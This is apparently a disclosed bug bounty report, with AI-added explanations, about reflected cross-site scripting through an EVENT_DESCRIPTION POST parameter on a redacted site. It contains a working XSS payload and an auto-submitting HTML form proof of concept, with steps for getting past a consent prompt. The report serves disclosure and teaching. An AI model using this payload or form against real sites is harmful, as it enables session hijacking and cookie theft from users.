Cross-Site Scripting via 'EVENT_DESCRIPTION' parameter
A POST parameter called EVENT_DESCRIPTION was reflected into a page without proper encoding, allowing an attacker to inject HTML and script that runs in a victim's browser. This could let an attacker steal cookies and hijack sessions.
Originally disclosed on HackerOne
- Triaged in 19 hours
- Fixed in 31 days
- Disclosed after 5 months
Description:
I discovered a Cross-Site Scripting (XSS) vulnerability on █████ , specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.
Vulnerable parameter: EVENT_DESCRIPTION Payload: </textarea><input></zzz><zzz><img/src/onerror=print``></zzz>
References
█████████
Impact
Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.
System Host(s)
████████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
Use this code in your own website to execute the XSS Method Post.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="█████" method="POST">
<input type="hidden" name="EVENT_DESCRIPTION" value="</textarea><input></zzz><zzz><img/src/onerror=print``></zzz>" />
<input type="hidden" name="YEARS_OF_EVENT" value="<input>" />
<input type="hidden" name="EVENT_WEB_SITE" value="<input>" />
<input type="hidden" name="ADMISSION_FEE" value="<input>" />
<input type="hidden" name="PARKING_FEE" value="<input>" />
<input type="hidden" name="SEATING_FEE" value="<input>" />
<input type="hidden" name="OTHER_FEES" value="<input>" />
<input type="hidden" name="EVENT_FUND_RAISER" value="1" />
<input type="hidden" name="RAISED_FUNDS_USE" value="1" />
<input type="hidden" name="RAISED_FUNDS_USE" value="4" />
<input type="hidden" name="RAISED_FUNDS_DESC" value="<input>" />
<input type="hidden" name="OPEN_PUBLIC" value="1" />
<input type="hidden" name="LOCAL_GOV_SUPPORT" value="0" />
<input type="hidden" name="POST_EVENT_REPORT" value="1" />
<input type="hidden" name="MEMBER_WO_DISCRIMINATION" value="0" />
<input type="hidden" name="ATTENDANCE_WO_DISCRIMINATION" value="0" />
<input type="hidden" name="pageNumber" value="6" />
<input type="hidden" name="currentPage" value="5" />
<input type="hidden" name="requestID" value="6AB066A5F23" />
<input type="hidden" name="WIZARD_CHECKBOXES" value="RAISED_FUNDS_USE" />
<input type="hidden" name="button_continue" value="Save & Continue" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
In case the following appears:
█████
Click "Agree to consent" and try to run the XSS post again and will work.
Suggested Mitigation/Remediation Actions
Apply context-dependent encoding and/or validation to user input rendered on a page
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application reflected the EVENT_DESCRIPTION POST parameter into an HTML context without context-aware output encoding or validation.
Impact
An attacker could steal cookies and impersonate legitimate users, though the report does not demonstrate a full end-to-end attack.
What the attacker needed
Victim submits or views the crafted POST request; attacker can host a page that auto-submits the form
How it was found
- Create a local HTML page containing a form that posts to the vulnerable endpoint.
- Set the EVENT_DESCRIPTION field to a value that closes the surrounding textarea and injects an image tag with an error handler.
- Submit the form so the browser sends the POST request to the target.
- If a consent prompt appears, click 'Agree to consent' and submit the form again.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Cross-site scripting (XSS) happens when a website takes text you type and puts it into a page without cleaning it first. Here, a form field called EVENT_DESCRIPTION was placed into the page as raw HTML, so an attacker could include a tag that runs JavaScript. When another user views that page, their browser runs the attacker's script as if it came from the site.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.